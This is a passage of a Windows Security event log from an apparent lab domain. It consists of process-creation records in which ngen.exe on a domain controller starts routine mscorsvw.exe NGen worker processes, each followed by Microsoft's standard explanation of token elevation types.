limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255273 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1390 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 93c -InterruptEvent 0 -NGENProcess 970 -Pipe 9a4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255272 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 970 -InterruptEvent 0 -NGENProcess 96c -Pipe 980 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255271 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x127c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 96c -InterruptEvent 0 -NGENProcess 970 -Pipe 988 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255270 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1130 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 970 -InterruptEvent 0 -NGENProcess 96c -Pipe 974 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255269 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 968 -InterruptEvent 0 -NGENProcess 96c -Pipe 978 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255268 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x62c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 96c -InterruptEvent 0 -NGENProcess 924 -Pipe 94c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255288 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1024 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 95c -InterruptEvent 0 -NGENProcess 97c -Pipe 944 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255287 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1154 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 984 -InterruptEvent 0 -NGENProcess 96c -Pipe 938 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255286 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x137c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9a0 -InterruptEvent 0 -NGENProcess 96c -Pipe 990 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255285 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1278 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9b4 -InterruptEvent 0 -NGENProcess 96c -Pipe 91c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255284 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc9c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 924 -InterruptEvent 0 -NGENProcess 96c -Pipe 950 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255283 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1028 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 97c -InterruptEvent 0 -NGENProcess 96c -Pipe 954 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255282 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1248 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 938 -InterruptEvent 0 -NGENProcess 96c -Pipe 964 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255281 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5cc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9b4 -InterruptEvent 0 -NGENProcess 96c -Pipe 970 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255280 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1050 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 96c -InterruptEvent 0 -NGENProcess 984 -Pipe 8b4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255279 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb3c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9b4 -InterruptEvent 0 -NGENProcess 984 -Pipe 968 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255278 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa48 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 990 -InterruptEvent 0 -NGENProcess 984 -Pipe 9ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255294 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x100c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 95c -InterruptEvent 0 -NGENProcess 9b4 -Pipe 908 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255293 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x718 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory 